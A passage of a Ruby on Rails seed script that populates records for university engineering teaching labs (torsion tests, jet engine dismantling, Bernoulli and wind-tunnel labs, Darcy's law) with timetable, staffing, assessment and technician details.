\"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a104.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a104.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a104.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a104.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a105 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 4)\n at105 = ActivityTimetable.where(activity_id: a105.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a105.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a105.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a105.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a105.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a105.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a106 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER302\").first.id, code: \"unknowncode1\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: false, in_drive: true, user_id: 5)\n at106 = ActivityTimetable.where(activity_id: a106.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"PUPS\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a106.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a106.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a106.id).first_or_create!(assess_weight: nil, notes: \"During - 3 build reviews, post - 1 flight review, operations manual & financial report, poster presentation & self assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 8)\n ActivityTech.where(activity_id: a106.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a106.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a107 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER385\").first.id, code: \"309\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: true, in_drive: true, user_id: 4)\n at107 = ActivityTimetable.where(activity_id: a107.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a107.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a107.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a107.id).first_or_create!(assess_weight: nil, notes: \"During, 2 reports and 1 presentation\n This is a semester long module with 3 assessment points in the course of the semester.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a107.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a107.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a108 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC205\").first.id, code: \"310\").first_or_create!(name: \"Jet engine strip down\",\n name_abrv: \"JETSTRIP\", archived: false, in_drive: true, user_id: 3)\n at108 = ActivityTimetable.where(activity_id: a108.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a108.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a108.id).first_or_create!(criteria: \"You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine. You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a108.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a108.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a108.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a109 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"311\").first_or_create!(name: \"Jet Engine Dismantling\",\n name_abrv: \"DISMANTLING\", archived: false, in_drive: true, user_id: 1)\n at109 = ActivityTimetable.where(activity_id: a109.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a109.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a109.id).first_or_create!(criteria: \"A knowledge of materials, manufacturing methods, or thermodynamics of jet engines would also be desirable in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a109.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a109.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a109.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a110 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"312\").first_or_create!(name: \"JETLAB\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 3)\n at110 = ActivityTimetable.where(activity_id: a110.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a110.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a110.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"In this lab, students operate a small jet engine and take thermodynamic measurements so that they can perform calculations of engine efficiency.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a110.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a110.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a110.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a111 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 2)\n at111 = ActivityTimetable.where(activity_id: a111.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a111.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a111.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a111.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a111.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a111.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a112 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: false, user_id: 5)\n at112 = ActivityTimetable.where(activity_id: a112.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a112.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybncc97l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a112.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a112.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a112.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a112.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a113 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 1)\n at113 = ActivityTimetable.where(activity_id: a113.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"For all of civ104: \n The plan next year is complete hydrostatic forces by the end of week 5, buoyance and metacenters by the end of week 6, any Bernoulli related lectures by end of week 8, we will start the momentum lectures in week 9, but will not have completed these by week 10, but the students have a field trip in week 11, so I think doing the impact of jets lab in week 10 shoul;d be fine.\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a113.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybmcc5xt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a113.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a113.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a113.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a113.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a114 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 4)\n at114 = ActivityTimetable.where(activity_id: a114.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a114.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a114.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a114.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a114.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a114.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a115 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 4)\n at115 = ActivityTimetable.where(activity_id: a115.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a115.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yasyk22s\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a115.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a115.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a115.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a115.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a116 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: false, user_id: 2)\n at116 = ActivityTimetable.where(activity_id: a116.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a116.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a116.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a116.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a116.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a116.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a117 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 3)\n at117 = ActivityTimetable.where(activity_id: a117.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a117.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycwo32oq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a117.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a117.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a117.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a117.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a118 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4750\").first.id, code: \"403\").first_or_create!(name: \"Coastal Engineering\",\n name_abrv: \"COASTAL\", archived: false, in_drive: true, user_id: 5)\n at118 = ActivityTimetable.where(activity_id: a118.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a118.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zrtczgr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a118.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a118.id).first_or_create!(assess_weight: nil, notes: \"Not our teaching - belongs to department\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a118.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a118.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a119 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"404\").first_or_create!(name: \"Custard Run\",\n name_abrv: \"CUSTARD\", archived: true, in_drive: true, user_id: 4)\n at119 = ActivityTimetable.where(activity_id: a119.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 360, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a119.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydy8uc9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a119.id).first_or_create!(criteria: \"Manual handling training.\",\n job_desc:\"Helping with the setup and running of the session. Students will be walking quickly over a Non-newtonian cornflour mixture in the lab. Students will need guiding across the pool. A lot of mixing and cleanup help will also be required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a119.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a119.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a119.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a120 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode2\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: true, in_drive: true, user_id: 1)\n at120 = ActivityTimetable.where(activity_id: a120.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a120.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a120.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a120.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a120.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a120.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a121 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: true, in_drive: true, user_id: 1)\n at121 = ActivityTimetable.where(activity_id: a121.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a121.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycl44ful\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a121.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a121.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a121.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a121.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a122 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: false, in_drive: true, user_id: 1)\n at122 = ActivityTimetable.where(activity_id: a122.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a122.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/hm7noqs\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a122.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a122.id).first_or_create!(assess_weight: nil, notes: \"Results are taken from the lab into a tutorial\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 2)\n ActivityTech.where(activity_id: a122.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a122.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a123 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 2)\n at123 = ActivityTimetable.where(activity_id: a123.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: 